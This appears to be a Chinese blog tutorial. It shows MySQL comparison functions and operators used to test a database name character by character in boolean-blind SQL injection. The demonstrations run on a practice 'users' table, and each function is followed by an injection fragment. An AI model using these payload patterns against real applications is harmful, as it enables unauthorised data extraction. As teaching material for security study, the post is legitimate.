首页 > 其他分享 >2.1、字符比较

2.1、字符比较

时间:2023-07-13 17:15:37浏览次数:40  
标签:字符 set database +----+----------+----------+ id sec 2.1 比较 select

strcmp()

strcmp(str1 , str2 )
= return 0;
< return -1;
> return 1;

mysql> select strcmp((substr(database(),1,1)),0x73);
+---------------------------------------+
| strcmp((substr(database(),1,1)),0x73) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (0.00 sec)

 

period_diff( str1 , str2 )

# str1 - str2 ; 返回差 , 相等 返回0;

mysql> select period_diff(ascii((substr(database(),1,1))),0x73);
+---------------------------------------------------+
| period_diff(ascii((substr(database(),1,1))),0x73) |
+---------------------------------------------------+
| 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

 


TimeDiff( str1 , str2 )

 

# str1 - str2, 返回 差 , 相等 则返回 0

mysql> select timediff(ascii((substr(database(),1,1))),115);
+-----------------------------------------------+
| timediff(ascii((substr(database(),1,1))),115) |
+-----------------------------------------------+
| 00:00:00 |
+-----------------------------------------------+
1 row in set (0.00 sec)

 


FieLd( str0 , str1 , str2 , str3 ......)

 

# 判断 str0 和哪一个 字符串 相等。
# 相等 返回 下标 , 未找到,返回0

mysql> select field('a0','a1','a2','a0');
+----------------------------+
| field('a0','a1','a2','a0') |
+----------------------------+
| 3 |
+----------------------------+
1 row in set (0.00 sec)




  举例用法

mysql> select field(substr(database(),1,1),'s');
+-----------------------------------+
| field(substr(database(),1,1),'s') |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

 

 

like

 

# 相当于 1=1,like 优先级 比><= 高,

mysql> select * from users where id=1 like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 like 0;
Empty set (0.00 sec)






举例应用

mysql> select * from users where id=1 like (if(substr(database(),1,1)='s',1,0));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

 


rlike / regexp


BetWeen ... And ...

 

# test_str BETWEEN begin_str AND end_str

mysql> select '12' between '11' and '31';
+----------------------------+
| '12' between '11' and '31' |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select 'ac' between 'ab' and 'ce';
+----------------------------+
| 'ac' between 'ab' and 'ce' |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.00 sec)





举例用法
mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 's' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

select database() between 'a' and 'z'; //1
select database() between 'b' and 'z'; //1
.........
select database() between 's' and 'z'; //1
select database() between 't' and 'z'; //0


mysql> select database() between 'sa' and 'sz';
+----------------------------------+
| database() between 'sa' and 'sz' |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
select database() between 'sa' and 'sz'; //1
select database() between 'sb' and 'sz'; //1
select database() between 'sc' and 'sz'; //1
.........
select database() between 'se' and 'sz'; //1
select database() between 'sf' and 'sz'; //0

 


IN

mysql> select * from users where id=1 and mid(database(),1,1) in (0x73);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and mid(database(),1,2) in (0x7365);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

 




AND 配配合减法

 

#ascii('a') = 97

mysql> select * from users where id=1 and (select ascii('a')-96);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select ascii('a')-97);
Empty set (0.00 sec)



AND 优先级高于 = ,
select * from users where id=1 and (select ascii('a')-97);
等同于
select * from users where id=(1 and (select ascii('a')-97));

 


异或运算 注入

 

# n ^ n = 0; n ^ 0 = n;

mysql> select * from users where id=1 ^ length((select database()))-8;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 ^ 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 xor 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

 

 

or 配合减法运算

 

mysql> select * from users where id=3 or 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=3 or 23;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 13 | admin4 | admin4 |
| 14 | admin5 | admin5 |
+----+----------+------------+
14 rows in set (0.00 sec)








举例使用

mysql> select * from users where id=3 or ascii(mid(database(),1,1))-115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=3 or ascii(mid(database(),1,1))-0x73;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

 

 

 


if()

 

mysql> select if(1=1,1,0);
+-------------+
| if(1=1,1,0) |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)

mysql> select if(1=2,1,0);
+-------------+
| if(1=2,1,0) |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)






举例使用

mysql> select * from users where id=3 and if(mid(database(),1,1)='s',1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

 

 

ifnull(表达式1,表达式2)

 

# 如果exp1 为null,则返回exp2的值,否则返回exp1的值
#在注入的时候,重要的是 exp1返回的是否0

mysql> select * from users where id=3 and ifnull(mid(database(),1,1)=0x73,0x20);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=3 and ifnull(mid(database(),1,1)=0x74,0x20);
Empty set (0.00 sec)
mysql> select * from users where id=3 and ifnull(mid(database(),1,1)=0x78,0x20);
Empty set (0.02 sec)

 


nullif(表达式1,表达式2)

 

# 如果 exp1 = exp2 ,返回null, 如果不相等,返回exp1的值
# exp2 不重要

mysql> select * from users where id=3 and nullif(mid(database(),1,1)='s',2);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=3 and nullif(mid(database(),1,1)='a',2);
Empty set (0.00 sec)

 

标签:字符,set,database,+----+----------+----------+,id,sec,2.1,比较,select
From: https://www.cnblogs.com/baiye1/p/17551463.html

相关文章

  • 2.2、字符串截取函数
    substring() mysql>selectsubstring('abc',1,1);+----------------------+|substring('abc',1,1)|+----------------------+|a|+----------------------+1rowinset(0.00sec)   mid() mysql>selectmid((selectdatabas......
  • ChatGPT 问答00003 mysql中删除原来的自增ID,并重新根据字符串字段data字段排序重新生
    在MySQL中,自增ID是由MySQL引擎自动生成和维护的,通常与数据表的主键关联。删除自增ID并重新生成的需求比较特殊,因为自增ID的生成是基于数据表中已有的记录顺序的,直接删除和重新生成可能会破坏数据完整性和索引等方面的约束。不建议直接删除和重新生成自增ID,但你可以通过以下步骤实......
  • 正则表达式符号字符大全
    正则表达式符号字符大全正则表达式[1]由一些普通字符和一些元字符(metacharacters)组成。普通字符包括大小写的字母和数字,而元字符则具有特殊的含义,我们下面会给予解释。在最简单的情况下,一个正则表达式看上去就是一个普通的查找串。例如,正则表达式"testing"中没有包含任何元字符......
  • linux 中 M-cM-^@M-^@M-cM-^@M-^@特殊字符的处理
     001、[root@PC1test01]#lstest.txt[root@PC1test01]#cat-Atest.txt##存在特殊字符 M-cM-^@M-^@M-cM-^@M-^@TomM-cM-^@M-^@M-cM-^@M-^@2012-12-11car53000$JohnM-cM-^@M-^@M-cM-^@M-^@2013-01-13bike41000$TomM-cM-^@M-^@M-cM-^@M-......
  • 【Redis】字符串sds
    sds,即SimpleDynamicStrings,是Redis中存储绝大部分字符串所采用的数据结构。typedefchar*sds;一、类型sds的类型包括SDS_TYPE_5,SDS_TYPE_8,SDS_TYPE_16,SDS_TYPE_32,SDS_TYPE_64五种:#defineSDS_TYPE_50#defineSDS_TYPE_81#defineSDS_TYPE_162#defineSD......
  • Android Glide加载小gif和图片比较模糊
    其实Glide加载还是可以将小图片加载的非常清晰的,可以通过Glide转换为Bitmap利用Drawable将setFilterBitmap为true但是这玩意解决不了GIF。在没有找到库的情况下:我直接自定义view通过pl.droidsonroids.gif:android-gif-drawable获取时间间隔并将gif解析成bitmap获取像素再通......
  • Windows:基+差:一种比较完美的操作系统备份、还原、使用的方案
    如下图:第一个基本镜像的格式,可以是wmi格式,也可以是vhdx,当然更可以是vhd格式!第2+个差量镜像就只能是vhd,或vhdx格式了。  ......
  • python 数据类型 字符串
    目录python数据类型字符串Python字符串定义Python字符串连接Python转义字符Python字符串运算符Python字符串格式化Unicode字符串python的字符串内置函数python数据类型字符串Python字符串定义#字符串是Python中最常用的数据类型。我们可以使用引号('或")来创建字......
  • c# 读取json字符串节点内容
    c#读取json字符串节点内容stringjsonstr="{\"voiceprompt_callback\":{\"result\":\"1\",\"accept_time\":\"0\"}}";varty=JsonConvert.DeserializeObject(jsonstr);Newtonsoft.Json.Linq.JOb......
  • 直接“printf”到char数组字符串——C语言snprintf函数
    注:我写这个只是为了备注并介绍一下这个神器。有关它的更详细用法,互联网的各个角落都不缺少资料。如果您和曾经的我一样是C语言的初学者,您有可能时常遇到那些“奇异”的字符串处理问题,例如,int里的数转成char数组字符串类型,在char数组中间插入或者删除什么东西,等等。要是采用传统方......